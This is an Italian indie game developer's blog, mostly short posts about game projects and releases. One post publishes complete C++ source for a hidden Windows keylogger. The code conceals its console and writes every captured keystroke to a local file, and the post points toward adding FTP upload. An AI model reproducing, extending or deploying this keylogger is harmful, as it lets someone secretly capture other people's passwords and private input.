Prime scene sperimentali del progetto. Stiamo valutando la scelta del game engine da utilizzare. Siamo aperti a collaborazioni, e contributi da parte della community.
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venerdì 2 dicembre 2016
The Great Alien Invasion - scene sperimentali e nuovi modelli 3D
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giovedì 1 dicembre 2016
C++ Keylogger per Windows 7/8/10
Salve a tutti. Oggi ho deciso di pubblicare il mio piccolo Keylogger, da utilizzare "esclusivamente" per uso didattico! Non mi assumo nessuna responsabilità sull'uso che farete del codice sorgente, e proprio per questo motivo ho deciso di non includere il binario pre-compilato. Sono stato attento a non permettere a chiunque di scriverne uno remoto, un keylogger locale non potrà creare problemi. Per implementare l'upload su server ftp del file "klog.txt" serve una conoscenza discreta del linguaggio, anche se il codice di base è già sviluppato.
Codice sorgente:
Codice sorgente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | // Keylogger scritto in C++ #include <cstdlib> #include <iostream> #include <cstdio> #include <windows.h> #include <fstream> // Creo una costante che regola la velocità di lettura dei tasti premuti. #define DELAY 150 using namespace std; // Funzione che gestisce il file di testo in scrittura. void writedown (char key) { // Indico il percorso del file "klog.txt". char *path = "C:\\klog.txt"; // Creo puntatore a file che chiamo "out". FILE *out; // Quando scrive sul file, non elimina i caratteri ma prosegue a fianco. out = fopen (path, "a+"); // Scrive nel file .txt i tasti premuti convertendoli in carattere (%c conversione). fprintf (out, "%c", key); // Chiude il puntatote a file. fclose (out); } int main() { FreeConsole(); // Nasconde il terminale di Windows. while (true) { for (char i = 31; i < 91; i++) { if (GetAsyncKeyState(i) != NULL) { writedown (i); Sleep(DELAY); } } } cin.get(); cin.get(); return EXIT_SUCCESS; } |
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mercoledì 30 novembre 2016
Grid Dungeons
Grid Dungeons, è un gioco di strategia ispirato agli scacchi, con un pizzico di MineSweeper. La semplicità unita al divertimento puro! Include animazioni, e un tutorial che spiega le regole del gioco step by step.
Il gioco è in fase di testing, e sarà rilasciato il 15 Dicembre, per Windows, Linux (binario eseguibile), Mac, Android.
Alcuni screenshots:
Il gioco è in fase di testing, e sarà rilasciato il 15 Dicembre, per Windows, Linux (binario eseguibile), Mac, Android.
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mercoledì 23 novembre 2016
The Legend of Aisha - New Icon
Italiano:
Nuova icona per il progetto "The Legend of Aisha".
English:
New icon for the project "The Legend of Aisha".
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The Legend of Aisha (announced)
Indie game in the works. The Legend of Aisha, will be a title RPG platformer with action elements, very inspired by Strider (Sega). Jan thank you for giving me the opportunity to continue this fantastic project. At the moment we are organizing all resources, code, and other items. The new interactive game menu, will be available with the next release already.
The Legend of Aisha will be available for the following platforms:
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